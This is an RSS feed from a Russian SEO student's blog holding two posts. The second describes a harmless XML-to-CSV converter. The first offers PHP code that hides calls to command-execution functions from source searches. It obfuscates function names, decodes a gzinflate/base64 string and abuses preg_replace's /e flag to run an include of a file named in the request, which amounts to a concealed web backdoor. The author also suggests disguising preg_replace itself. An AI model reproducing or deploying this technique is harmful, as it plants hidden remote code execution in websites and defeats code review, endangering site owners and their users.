<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог сео-студента &#187; Мои скрипты</title>
	<atom:link href="http://seo-student.ru/category/moi-skripty/feed" rel="self" type="application/rss+xml" />
	<link>http://seo-student.ru</link>
	<description>полезняшки :)</description>
	<lastBuildDate>Mon, 27 Jul 2009 13:31:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Замена eval() в php</title>
		<link>http://seo-student.ru/zamena-eval-v-php.html</link>
		<comments>http://seo-student.ru/zamena-eval-v-php.html#comments</comments>
		<pubDate>Wed, 15 Jul 2009 20:20:18 +0000</pubDate>
		<dc:creator>сео студент</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[Мои скрипты]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[полезняшки]]></category>

		<guid isPermaLink="false">http://seo-student.ru/?p=279</guid>
		<description><![CDATA[Недавно ломал голову над тем, есть ли замена функции eval() в php. Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl &#8216;function&#8216; /path) данные функции не светились. Немного поломав мозг, пришел к такому решению: // [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://seo-student.ru/wp-content/uploads/2009/07/bob.png"><img src="http://seo-student.ru/wp-content/uploads/2009/07/bob.png" alt="bob" title="bob" width="200" height="219" class="alignleft size-full wp-image-287" /></a>Недавно ломал голову над тем, есть ли замена функции eval() в php.</p>
<p><strong>Задача: </strong> Сделать возможность вызова функций <em>system</em>, <em>passthru</em>, <em>exec</em> и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (<strong>grep -rl &#8216;<em>function</em>&#8216; /<em>path</em></strong>) данные функции не светились.</p>
<p>Немного поломав мозг, пришел к такому решению:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">// функции для выполнения</span>
<span style="color: #000088;">$funcs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
	<span style="color: #0000ff;">'g'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'z'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'i'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'n'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'f'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'l'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'a'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'t'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'e'</span><span style="color: #339933;">,</span>
	<span style="color: #0000ff;">'b'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'a'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'s'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'e'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'6'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'4'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'d'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'e'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'c'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'o'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'d'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'e'</span><span style="color: #339933;">,</span>
	<span style="color: #0000ff;">'p'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'h'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'p'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'i'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'n'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'f'</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'o'</span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$strng</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'KyhKLUtNAQA='</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;"># прогнанный через gzinflate base64 хэш имени функции (preved)
</span>
<span style="color: #000000; font-weight: bold;">function</span> preved<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #666666; font-style: italic;">############## Здесь любой код для выполнения ############
</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'c'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'c'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">###########################################################
</span><span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> test<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$funcs</span><span style="color: #339933;">,</span> <span style="color: #000088;">$strng</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$funcs</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$funcs</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$strng</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// заменить на $func[X], если не нужно вызывать функцию preved()</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/123/e&quot;</span><span style="color: #339933;">,</span>test<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">456</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Как видно из листинга, скрипт использует баг в функции <em>preg_replace()</em> с флагом <em>/e</em>. Разобраться с ним не сложно.<br />
В результате получился скрипт, который может выполнять практически любые функции, кроме <em>eval()</em>, так как:</p>
<blockquote><p>это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал</p></blockquote>
<p>Единственный минус &#8211; можно выполнить поиск по имени функции <em>preg_replace()</em>, но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.</p>
]]></content:encoded>
			<wfw:commentRss>http://seo-student.ru/zamena-eval-v-php.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Xml2csv Converter</title>
		<link>http://seo-student.ru/xml2csv-converter.html</link>
		<comments>http://seo-student.ru/xml2csv-converter.html#comments</comments>
		<pubDate>Wed, 04 Feb 2009 00:26:55 +0000</pubDate>
		<dc:creator>сео студент</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[Мои скрипты]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xml2csv]]></category>
		<category><![CDATA[полезняшки]]></category>

		<guid isPermaLink="false">http://seo-student.ru/?p=48</guid>
		<description><![CDATA[Xml2csv - скрипт, который конвертирует файлы в формате XML в формат CSV (MS Excel). Изначально скрипт был написан мной для конверта xml баз партнерки Sotmarket, но его так же успешно можно использовать и для других xml файлов. Достаточно лишь поместить их в директорию files, а затем выбрать из списка. Пользоваться им предельно просто, ничего лишнего. [...]]]></description>
			<content:encoded><![CDATA[<p><strong><img class="alignleft size-full wp-image-62" title="xml_to_csv_converter" src="http://seo-student.ru/wp-content/uploads/2009/02/xml_to_csv_conversion.gif" alt="xml_to_csv_converter" width="100" height="100" />Xml2csv </strong>- скрипт, который конвертирует файлы в формате XML в формат CSV (MS Excel).<br />
Изначально скрипт был написан мной для конверта xml баз партнерки Sotmarket, но его так же успешно можно использовать и для других xml файлов. Достаточно лишь поместить их в директорию files, а затем выбрать из списка.<br />
<span id="more-48"></span><br />
Пользоваться им предельно просто, ничего лишнего. Распишу по шагам:</p>
<h2>Шаг 1</h2>
<p>Просто жмем на ссылку &laquo;Скачать файлы с сервера&raquo; и ждем. Если у вас свои xml файлы, пропускаем этот шаг.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-51" style="border: 1px solid black;" title="Шаг 1" src="http://seo-student.ru/wp-content/uploads/2009/02/step1.gif" alt="Шаг 1" width="400" height="300" /></p>
<h2>Шаг 2</h2>
<p>Когда у нас все закачалось, выбираем из списка нужный файл (можно выбрать все сразу) и жмем &laquo;Конверт&raquo;.</p>
<p style="text-align: center;"><img class="size-full wp-image-54 aligncenter" style="border: 1px solid black;" title="Шаг 2" src="http://seo-student.ru/wp-content/uploads/2009/02/step2.gif" alt="Шаг 2" width="400" height="300" /></p>
<p>Получаем примерно такой результат:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-56" style="border: 1px solid black;" title="Результат" src="http://seo-student.ru/wp-content/uploads/2009/02/step3.gif" alt="Результат" width="500" height="200" /></p>
<p style="text-align: left;">Вот, собственно, и все. Теперь немного о том, как его натсроить. Открываем xml2csv.php, видим там строчки:</p>
<p style="text-align: left;"><code>$folder = 'files'; // папка с файлами xml (нужны права на запись)<br />
$delimiter = '^'; // разделитель для данных csv</code></p>
<p>Изменяем по вкусу и сохраняем. Вот и все настройки <img src='http://seo-student.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Скрипт использует XPath язык запросов для работы с XML. Так же для работы скрипта необходимы права на запись в директорию, в которой лежит скрипт, в директорию files и необходимы права на удаленные соединения (не обязательно, если xml файлы вы закачиваете сами).<br />
Писал на скорую руку, так что сильно не пинайте <img src='http://seo-student.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a title="Скачать xml2csv Converter" href="http://seo-student.ru/public/xml2csv.zip">Скачать xml2csv converter</a></p>
]]></content:encoded>
			<wfw:commentRss>http://seo-student.ru/xml2csv-converter.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

